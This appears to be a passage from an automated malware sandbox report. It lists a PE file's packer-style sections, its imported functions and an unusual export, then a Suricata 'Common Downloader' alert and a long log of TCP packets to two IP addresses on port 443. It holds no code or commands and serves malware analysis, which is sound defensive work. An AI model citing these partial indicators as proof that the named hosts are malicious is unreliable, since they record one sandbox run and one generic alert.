.rlp	0xe000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.dsstext	0xf000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
logicoma	0x10000	0x2	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
adr	0x11000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
have	0x12000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
30cm	0x13000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
PETETRIS	0x14000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.alien	0x15000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pwdprot	0x16000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.arch	0x17000	0x10	0x200	158f1b06d971c7694d925fe892a86d12	False	0.044921875	ASCII text, with no line terminators	0.19977565608732903	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x18000	0x15	0x200	90cb11c353fe8f308d84a178a82cf5a3	False	0.06640625	data	0.39288443509210697	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tw	0x19000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vlizer	0x1a000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.aspack	0x1b000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.adata	0x1c000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
__wibu00	0x1d000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
__wibu01	0x1e000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
msvcrt.dll	malloc, strcat, sprintf, free, memset, calloc, gets, vsprintf, getenv, system, abort, atexit, _getcwd, tolower, toupper, sscanf, _vsnprintf, strstr, _strdup, _controlfp, __set_app_type, __argc, __argv, _environ, __getmainargs, exit
kernel32.dll	WriteConsoleA, GetStdHandle, GetModuleHandleA, FreeLibrary, VirtualAlloc, GetStartupInfoA, GetCommandLineA

Exports

Name	Ordinal	Address
WhatSoundDoesACowMake	1	0x40bec8

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T01:21:04.479001+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	162.125.69.18	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 01:21:00.663249969 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:00.663286924 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:00.663363934 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:00.673194885 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:00.673207998 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:02.108360052 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:02.108500004 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:02.599237919 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:02.599265099 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:02.600290060 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:02.600353956 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:02.602835894 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:02.643341064 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:04.478976011 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:04.479067087 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:04.479079008 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:04.479125023 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:04.479130983 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:04.479178905 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:04.479187012 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:04.479240894 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:04.493422031 CET	49730	443	192.168.2.4	162.125.69.18
Dec 23, 2024 01:21:04.493438959 CET	443	49730	162.125.69.18	192.168.2.4
Dec 23, 2024 01:21:05.041682005 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:05.041791916 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:05.041909933 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:05.042232037 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:05.042273045 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:06.477875948 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:06.478020906 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:06.478056908 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:06.478102922 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:06.483104944 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:06.483129025 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:06.483566999 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:06.483752012 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:06.484147072 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:06.527338028 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.454696894 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.454719067 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.454731941 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.454874039 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.454948902 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.455108881 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.570111990 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.570135117 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.570166111 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.570316076 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.570317030 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.570393085 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.570451021 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.622643948 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.622661114 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.622766018 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.622842073 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.622996092 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.740871906 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.740890980 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.741244078 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.741322994 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.741385937 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.770685911 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.770703077 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.771050930 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.771131992 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.771353960 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.792061090 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.792079926 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.792431116 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.792541027 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.792725086 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.912934065 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.912955046 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.913165092 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.913237095 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.913302898 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.928849936 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.928865910 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.928941011 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.928961039 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.929013968 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.942328930 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.942346096 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.942544937 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.942612886 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.942774057 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.957593918 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.957612038 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.957710028 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.957727909 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.957886934 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.972942114 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.972960949 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.973268032 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.973268986 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.973342896 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.973407030 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.986287117 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.986304045 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.986371040 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.986387968 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:07.986416101 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:07.986438036 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.002563953 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.002580881 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.002649069 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.002667904 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.002695084 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.002712965 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.113205910 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.113225937 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.113445044 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.113527060 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.113589048 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.125226974 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.125242949 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.125329971 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.125364065 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.125416040 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.135118961 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.135134935 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.135194063 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.135215998 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.135246038 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.135265112 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.146459103 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.146475077 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.146545887 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.146559954 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.146589994 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.146608114 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.157006025 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.157022953 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.157104969 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.157120943 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.157175064 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.168351889 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.168371916 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.168431997 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.168450117 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.168478012 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.168498993 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.179733992 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.179753065 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.179811954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.179826975 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.179853916 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.179887056 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.189807892 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.189824104 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.189903975 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.189917088 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.189954042 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.189975023 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.304349899 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.304369926 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.304430008 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.304507017 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.304544926 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.304569960 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.313206911 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.313224077 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.313271046 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.313286066 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.313316107 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.313353062 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.320729971 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.320754051 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.320808887 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.320825100 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.320851088 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.320871115 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.329365969 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.329382896 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.329428911 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.329442978 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.329469919 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.329493999 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.337441921 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.337460041 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.337548018 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.337572098 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.337625027 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.345813990 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.345834970 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.345897913 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.345913887 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.345968962 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.354530096 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.354547977 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.354619026 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.354635000 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.354688883 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.361931086 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.361947060 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.362020969 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.362039089 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.362066031 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.362097025 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.419667959 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.495515108 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.495543003 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.495635033 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.495681047 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.495701075 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.495718002 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.503120899 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.503143072 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.503180981 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.503217936 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.503237009 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.503257036 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.509901047 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.509922981 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.509980917 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.510006905 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.510075092 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.516817093 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.517693996 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.517715931 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.517896891 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.517915010 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.517962933 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.524924994 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.524947882 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.525007963 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.525039911 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.525085926 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.532716990 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.532740116 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.532803059 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.532833099 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.532876968 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.540438890 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.540462017 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.540501118 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.540534973 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.540555954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.540570974 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.547275066 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.547296047 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.547346115 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.547378063 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.547418118 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.614653111 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.688329935 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.688358068 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.688481092 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.688524008 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.688570023 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.695058107 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.695086956 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.695151091 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.695172071 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.695219040 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.702781916 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.702811003 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.702842951 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.702856064 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.702881098 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.702898979 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.710539103 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.710560083 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.710628986 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.710643053 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.710711956 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.717780113 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.717801094 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:08.717843056 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:08.717861891 CET	443	49731	162.125.69.15	192.168.2.4
